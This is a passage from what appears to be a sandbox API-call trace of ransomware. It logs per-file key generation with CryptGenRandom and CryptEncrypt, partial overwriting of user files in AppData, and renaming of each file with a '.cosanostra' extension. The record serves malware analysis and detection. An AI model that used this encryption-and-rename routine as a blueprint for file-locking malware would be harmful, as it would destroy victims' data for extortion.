Explorer\\Recovery\\Last Active\\RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{4bd650f1-c8f9-11e7-b5bf-c43dc7584a00}.dat"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{4bd650f1-c8f9-11e7-b5bf-c43dc7584a00}.dat.cosanostra")) returned 1 [0088.080] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f7a8 | out: pbBuffer=0x251f7a8) returned 1 [0088.080] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f7a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f7a0*=0x30) returned 1 [0088.080] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\suggested sites~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0088.089] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms") returned 139 [0088.089] StrStrW (lpFirst="Suggested Sites~.feed-ms", lpSrch=".txt") returned 0x0 [0088.114] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.114] WriteFile (in: hFile=0x174, lpBuffer=0x2b8870*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f764, lpOverlapped=0x0 | out: lpBuffer=0x2b8870*, lpNumberOfBytesWritten=0x251f764*=0x2800, lpOverlapped=0x0) returned 1 [0088.114] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.114] WriteFile (in: hFile=0x174, lpBuffer=0x251f7a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f764, lpOverlapped=0x0 | out: lpBuffer=0x251f7a4*, lpNumberOfBytesWritten=0x251f764*=0x4, lpOverlapped=0x0) returned 1 [0088.115] WriteFile (in: hFile=0x174, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f764, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f764*=0x30, lpOverlapped=0x0) returned 1 [0088.115] CloseHandle (hObject=0x174) returned 1 [0088.115] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\suggested sites~.feed-ms"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\suggested sites~.feed-ms.cosanostra")) returned 1 [0088.116] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f7a0 | out: pbBuffer=0x251f7a0) returned 1 [0088.116] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f798*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f798*=0x30) returned 1 [0088.116] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0088.122] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl") returned 136 [0088.122] StrStrW (lpFirst="07_TV_recorded_in_the_last_week.wpl", lpSrch=".txt") returned 0x0 [0088.140] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffffbf0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.140] WriteFile (in: hFile=0x178, lpBuffer=0x2b8870*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x251f75c, lpOverlapped=0x0 | out: lpBuffer=0x2b8870*, lpNumberOfBytesWritten=0x251f75c*=0x410, lpOverlapped=0x0) returned 1 [0088.141] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.141] WriteFile (in: hFile=0x178, lpBuffer=0x251f79c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f75c, lpOverlapped=0x0 | out: lpBuffer=0x251f79c*, lpNumberOfBytesWritten=0x251f75c*=0x4, lpOverlapped=0x0) returned 1 [0088.141] WriteFile (in: hFile=0x178, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f75c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f75c*=0x30, lpOverlapped=0x0) returned 1 [0088.141] CloseHandle (hObject=0x178) returned 1 [0088.141] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl.cosanostra")) returned 1 [0088.401] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f778 | out: pbBuffer=0x251f778) returned 1 [0088.401] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f770*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f770*=0x30) returned 1 [0088.401] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\windowsmail.pat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0088.413] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat") returned 86 [0088.413] StrStrW (lpFirst="WindowsMail.pat", lpSrch=".txt") returned 0x0 [0088.413] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.413] WriteFile (in: hFile=0x174, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x251f734, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x251f734*=0x0, lpOverlapped=0x0) returned 1 [0088.413] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.413] WriteFile (in: hFile=0x174, lpBuffer=0x251f774*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f734, lpOverlapped=0x0 | out: lpBuffer=0x251f774*, lpNumberOfBytesWritten=0x251f734*=0x4, lpOverlapped=0x0) returned 1 [0088.414] WriteFile (in: hFile=0x174, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f734, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f734*=0x30, lpOverlapped=0x0) returned 1 [0088.414] CloseHandle (hObject=0x174) returned 1 [0088.415] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\windowsmail.pat"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\windowsmail.pat.cosanostra")) returned 1 [0088.415] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f778 | out: pbBuffer=0x251f778) returned 1 [0088.415] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f770*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f770*=0x30) returned 1 [0088.415] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0088.418] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm") returned 91 [0088.418] StrStrW (lpFirst="Stars.htm", lpSrch=".txt") returned 0x0 [0088.419] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xffffff1a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.419] WriteFile (in: hFile=0x16c, lpBuffer=0x2b8870*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x251f734, lpOverlapped=0x0 | out: lpBuffer=0x2b8870*, lpNumberOfBytesWritten=0x251f734*=0xe6, lpOverlapped=0x0) returned 1 [0088.419] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.419] WriteFile (in: hFile=0x16c, lpBuffer=0x251f774*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f734, lpOverlapped=0x0 | out: lpBuffer=0x251f774*, lpNumberOfBytesWritten=0x251f734*=0x4, lpOverlapped=0x0) returned 1 [0088.419] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f734, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f734*=0x30, lpOverlapped=0x0) returned 1 [0088.419] CloseHandle (hObject=0x16c) returned 1 [0088.419] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm.cosanostra")) returned 1 [0088.420] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f770 | out: pbBuffer=0x251f770) returned 1 [0088.420] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f768*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f768*=0x30) returned 1 [0088.420] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0088.421] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg") returned 94 [0088.421] StrStrW (lpFirst="SoftBlue.jpg", lpSrch=".txt") returned 0x0 [0088.452] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.452] WriteFile (in: hFile=0x16c, lpBuffer=0x2b8870*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f72c, lpOverlapped=0x0 | out: lpBuffer=0x2b8870*, lpNumberOfBytesWritten=0x251f72c*=0x2800, lpOverlapped=0x0) returned 1 [0088.452] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.452] WriteFile (in: hFile=0x16c, lpBuffer=0x251f76c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f72c, lpOverlapped=0x0 | out: lpBuffer=0x251f76c*, lpNumberOfBytesWritten=0x251f72c*=0x4, lpOverlapped=0x0) returned 1 [0088.452] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f72c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f72c*=0x30, lpOverlapped=0x0) returned 1 [0088.452] CloseHandle (hObject=0x16c) returned 1 [0088.452] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg.cosanostra")) returned 1 [0088.453] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f770 | out: pbBuffer=0x251f770) returned 1 [0088.453] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f768*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f768*=0x30) returned 1 [0088.453] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0088.455] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm") returned 95 [0088.455] StrStrW (lpFirst="Soft Blue.htm", lpSrch=".txt") returned 0x0 [0088.456] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xffffff18, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.456] WriteFile (in: hFile=0x16c, lpBuffer=0x2b8870*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x251f72c, lpOverlapped=0x0 | out: lpBuffer=0x2b8870*, lpNumberOfBytesWritten=0x251f72c*=0xe8, lpOverlapped=0x0) returned 1 [0088.456] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.456] WriteFile (in: hFile=0x16c, lpBuffer=0x251f76c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f72c, lpOverlapped=0x0 | out: lpBuffer=0x251f76c*, lpNumberOfBytesWritten=0x251f72c*=0x4, lpOverlapped=0x0) returned 1 [0088.456] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f72c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f72c*=0x30, lpOverlapped=0x0) returned 1 [0088.456] CloseHandle (hObject=0x16c) returned 1 [0088.457] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm.cosanostra")) returned 1 [0088.457] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f768 | out: pbBuffer=0x251f768) returned 1 [0088.457] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f760*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f760*=0x30) returned 1 [0088.458] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0088.458] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg") returned 98 [0088.458] StrStrW (lpFirst="ShadesOfBlue.jpg", lpSrch=".txt") returned 0x0 [0088.465] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xffffed82, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.465] WriteFile (in: hFile=0x16c, lpBuffer=0x2b8870*, nNumberOfBytesToWrite=0x127e, lpNumberOfBytesWritten=0x251f724, lpOverlapped=0x0 | out: lpBuffer=0x2b8870*, lpNumberOfBytesWritten=0x251f724*=0x127e, lpOverlapped=0x0) returned 1 [0088.466] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.466] WriteFile (in: hFile=0x16c, lpBuffer=0x251f764*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f724, lpOverlapped=0x0 | out: lpBuffer=0x251f764*, lpNumberOfBytesWritten=0x251f724*=0x4, lpOverlapped=0x0) returned 1 [0088.466] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f724, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f724*=0x30, lpOverlapped=0x0) returned 1 [0088.466] CloseHandle (hObject=0x16c) returned 1 [0088.467] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg.cosanostra")) returned 1 [0088.467] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f768 | out: pbBuffer=0x251f768) returned 1 [0088.467] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f760*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f760*=0x30) returned 1 [0088.468] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0088.468] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm") returned 100 [0088.468] StrStrW (lpFirst="Shades of Blue.htm", lpSrch=".txt") returned 0x0 [0088.469] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xffffff13, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.469] WriteFile (in: hFile=0x16c, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xed, lpNumberOfBytesWritten=0x251f724, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x251f724*=0xed, lpOverlapped=0x0) returned 1 [0088.469] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.469] WriteFile (in: hFile=0x16c, lpBuffer=0x251f764*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f724, lpOverlapped=0x0 | out: lpBuffer=0x251f764*, lpNumberOfBytesWritten=0x251f724*=0x4, lpOverlapped=0x0) returned 1 [0088.469] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f724, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f724*=0x30, lpOverlapped=0x0) returned 1 [0088.469] CloseHandle (hObject=0x16c) returned 1 [0088.470] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm.cosanostra")) returned 1 [0088.470] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f760 | out: pbBuffer=0x251f760) returned 1 [0088.470] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f758*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f758*=0x30) returned 1 [0088.470] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0088.471] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg") returned 91 [0088.471] StrStrW (lpFirst="Roses.jpg", lpSrch=".txt") returned 0x0 [0088.482] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xfffff880, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.482] WriteFile (in: hFile=0x16c, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x251f71c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x251f71c*=0x780, lpOverlapped=0x0) returned 1 [0088.483] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.483] WriteFile (in: hFile=0x16c, lpBuffer=0x251f75c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f71c, lpOverlapped=0x0 | out: lpBuffer=0x251f75c*, lpNumberOfBytesWritten=0x251f71c*=0x4, lpOverlapped=0x0) returned 1 [0088.483] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f71c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f71c*=0x30, lpOverlapped=0x0) returned 1 [0088.483] CloseHandle (hObject=0x16c) returned 1 [0088.597] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows 